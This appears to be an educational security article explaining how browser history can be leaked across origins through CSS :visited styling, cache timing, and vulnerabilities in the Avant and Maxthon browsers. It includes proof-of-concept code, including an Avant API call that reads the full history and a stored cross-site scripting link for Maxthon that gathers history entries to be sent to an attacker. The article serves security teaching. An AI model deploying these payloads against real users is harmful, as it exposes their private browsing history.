Exploiting Same Origin with Browser History

Browser history attacks leak sensitive information regarding different origins. They allow you to determine what origins the user has been visiting. In a legacy browser, a browser history attack typically involved simply checking the color of links (blue) written to the page. You will briefly explore using CSS Colors, but today’s latest browsers have been patched, so you won’t find this type of attack. This article will describe attack methods that are currently the most effective for revealing browser history information across a range of browsers. A few examples of lesser-known browsers vulnerable to these history-stealing vulnerabilities, like Avant and Maxthon browsers, will also be explored.

Using CSS Colors

In previous days, stealing browser history using CSS information was very easy and possible. This attack was performed through the abuse of the visited CSS selector. The technique was very simple but very effective. Take for example the following code:

<a id="site_1" href="http://httpsecure.org">link</a>

CSS action selector could be used to check if the target visited the previous link, and therefore would be present in the browser history looking similar to this:

#1:

visited
{
background: url(/httpsecure.org?site=securityflaw);
}

In the above mentioned code, the background selector is used, but you can use any selector where a URI can be specified. In the instance of httpsecure.org being present in the browser’s history, a GET request to httpsecure.org?site=securityflaw will be submitted.

Jeremiah Grossman found a similar issue exploiting technique in 2006 that also relied on checking the color of a link element. In most browsers, the default behavior when a link had already been visited by user set the color of the link text from blue to violet. On the other way, if the link had not been visited, it was set to its default color (blue). In Grossman’s original Proof of Concept, the link visited by user style was overridden with a custom style/color (such as pink). A script was then used to dynamically generate links on the page, potentially hidden from the user. These were compared with the previously overridden pink color link. If a match was found, an attacker would know that the site was present in the browser history.

Ethical Hacking Training – Resources (InfoSec)

Consider the following example:

<html>
<head>
<style>
#link:visited {color: # FF1493;}
</style>
</head>
<body>
<a id="link" href="http://httpsecure.org" target="_blank">clickhere</a>
<script>
var link = document.getElementById("link");
var color = document.defaultView.getComputedStyle(link, null).getPropertyValue("color");
console.log(color);
</script>
</body>
</html>

If the link was already visited by the user, and if the browser is vulnerable to this issue, the output in the console log would be rgb(255,20,147), which corresponds to the pink color overridden in the CSS. If you run the above mentioned snippet in Firefox (which is already patched against this attack), it will always return rgb(0, 0, 238). Nowadays, most modern browsers have patched this behavior. For example, Firefox patched this technique in 2010.

Using Cache Timing

Felten and Schneider wrote the first white papers on the topic of cache timing attacks in 2000. The paper, titled “Timing Attacks on Web Privacy,” was mainly focused on measuring the time required to access a resource with or without browser caching. Using this information, it was quite possible to deduce if the resource was already retrieved (and cached). The limitation of this attack was that querying the browser cache during the initial test was also tainting it.

Michal Zalewski found another way which was totally non-destructive to extract browser history using a previously mentioned cache-timing technique. Zalewski’s way consists of loading resources in iframes, trapping same origin policy violations, and preventing the alteration of the cache. Iframes are great, just because the same origin policy is enforced and you can prevent the iframe from fully loading the resource, preventing the modification of the same into the local cache. The cache stays untouched, as short timings are used when loading and unloading resources. As soon as it can be ascertained that there is a cache miss on a particular resource, the iframe loading is stopped. This behavior allows testing the same resource again at a later stage.

The most effective resources to target using this technique are JavaScript or CSS, reason being they are often cached by the browser, and are always loaded when browsing to a target application. These resources will be loaded in iframes, and it should not include any framebusting logic, such as X-Frame-Options (other than Allow).

Mansour Behabadi found a different technique that relied on the loading of images instead. The technique currently only works on WebKit- and Gecko-based browsers. When your browser has cached an image, it usually takes less than 10 milliseconds to load it from the cache. If the image is not found in the browser cache, the fetching will start from the server and time

depend upon image size and net connection speed. Using this timing information, you can check out whether a target’s browser has previously visited websites.

Note: You can read the full source code of this technique on https://browserhacker.com, or the Wiley website at
www.wiley.com/go/browserhackershandbook where the original three PoCs have been modified and merged as a single code snippet.

Just remember that an additional limitation of this technique is that the resource you want to find, for example http://httpsecure.org/images/arrow.png, might be moved temporarily or permanently b the time you are reading this article. This is already the case for some of the resources used in the original PoC by Zalewski. Reason being both of these techniques rely on specific and short timings when reading from the cache, and they’re both very sensitive to machine performance. The same thing applies to the second technique, where the timing is “hard-coded” to 10 milliseconds. For example, if you’re playing an HD video on Vimeo while your machine is extensively using CPU and IO, the accuracy of the results may decrease.

Using Browser APIs

Avant is a lesser-known browser that can swap between the Trident, Gecko and WebKit rendering engines. Roberto Suggi Liverani has found an attack for bypassing the same origin policy using specific browser API calls in the Avant browser prior to 2012 (build 28).

Let’s consider the following code that shows this issue:

var av_if = document.createElement("iframe"); av_if.setAttribute('src', "browser:home"); av_if.setAttribute('name','av_if'); av_if.setAttribute('width','0'); av_if.setAttribute('heigth','0'); av_if.setAttribute('scrolling','no'); document.body.appendChild(av_if);
var vstr = {value: ""};
//This works if Firefox is the rendering engine window['av_if'].navigator.AFRunCommand(60003, vstr); alert(vstr.value);

The above mentioned code snippet loads the privileged browser:home address into an iframe, and then executes the function AFRunCommand() from its own navigator object. This function is an undocumented and proprietary API that Avant added to the DOM.

Liverani tried a brute force on some of the integer values which need to be passed as the first parameter to the function. He found that by passing the value 60003 and a JSON object to the AFRunCommand() function, he was able to retrieve the victim’s full browser history. This is clearly a Same Origin Policy bypassing technique because code running on an origin such as http://httpsecure.org must not be able to read the contents of a higher zone, like browser:home, as per in this code. Executing the previous code snippet would result in a pop- up containing the browser history in it.

This issue has been found in Maxthon 3.4.5 (build 2000). Maxthon is another less-known web browser. Roberto Suggi Liverani discovered that the content rendered in the about:history page does not have effective output escaping. This can be exploitable. If an attacker forces a victim to open a malicious link, this injection will persist in the history page until history is cleared:

http://example.com/issue/hacked.html#” onload=’prompt(1)'<!—

This code will execute each and every time the victim checks the browser history. Also, JavaScript is executing in the privileged zone. The about:history page happens to be mapped to a custom Maxthon resource at mx://res/history/index.htm. Injecting code into this context allows you to steal all the history contents.

div:
links = document.getElementById('history-list')
.getElementsByTagName('a');
result = "";
for(var i=0; i<links.length; i++) { if(links[i].target == "_blank"){ result += links[i].href+"\n";
}
}
alert(result);

This above mentioned payload can be packaged and delivered with the following link:

http://example.com/issue/hacked.html#" onload='links=document.
getElementById("history-list").getElementsByTagName("a");
result="";for(i=0;i<links.length;i++){if(links[i].target=="_blank")
{result+=links[i].href+"\n";}}prompt(result);'<!--

Cross-content scripting vulnerability is stored. So, after loading the malicious content into the history page the first time, the code will execute every time the user revisits their history.

In a real case of launching this attack, it would be necessary to replace the prompt() function with one of the hooking techniques. Browser history can be sent to the server.

Reference https://browserhacker.com/